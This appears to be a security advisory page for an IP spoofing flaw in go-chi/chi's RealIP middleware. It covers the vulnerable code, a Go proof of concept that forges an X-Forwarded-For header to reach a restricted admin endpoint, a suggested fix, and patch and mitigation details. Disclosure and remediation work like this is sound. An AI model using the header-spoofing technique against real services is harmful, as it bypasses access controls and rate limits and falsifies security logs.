chi Has an IP Spoofing Vulnerability in `middleware.RealIP`GHSA-3fxj-6jh8-hvhx
GHSA-3fxj-6jh8-hvhx is a CWE-290 vulnerability in github.com/go-chi/chi/v5/middleware. A fix is available for github.com/go-chi/chi/v5/middleware — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3fxj-6jh8-hvhx.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/go-chi/chi/v5/middlewareReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use
RemoteAddras a key. - Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/go-chi/chi/v5/middleware | ≥ 5.2.1&&< 5.3.0 | 5.3.0go get github.com/go-chi/chi/v5/middleware@v5.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-chi/chi/v5/middleware, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/go-chi/chi/v5/middleware to 5.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3fxj-6jh8-hvhx is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
An IP spoofing flaw exists in go-chi/chi's RealIP middleware. When parsing incoming HTTP requests, the middleware blindly trusts the leftmost IP address in the X-Forwarded-For header without verifying proxy chain trust. Remote unauthenticated attackers can supply arbitrary client IP addresses to bypass IP-based access…
Do not rely on the `RealIP` middleware when accepting connections from untrusted networks. Instead, configure an upstream reverse proxy (such as NGINX or HAProxy) to overwrite or sanitize client-supplied `X-Forwarded-For` headers before forwarding traffic to the application.Source: Red Hat security advisory for GHSA-3fxj-6jh8-hvhx (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | spire1-14-main-1.14.7-0.4.hum1 | RHSA-2026:49718 |
| Red Hat Hardened Images | spire1-15-main-1.15.2-0.4.hum1 | RHSA-2026:49732 |
| Red Hat Hardened Images | prometheus3-13-main-3.13.2-0.2.hum1 | RHSA-2026:50287 |
| Red Hat Hardened Images | cosign-main-3.1.3-0.1.hum1 | RHSA-2026:54420 |
Frequently Asked Questions
Is GHSA-3fxj-6jh8-hvhx in your dependencies?
Find it across Go, including transitive dependencies.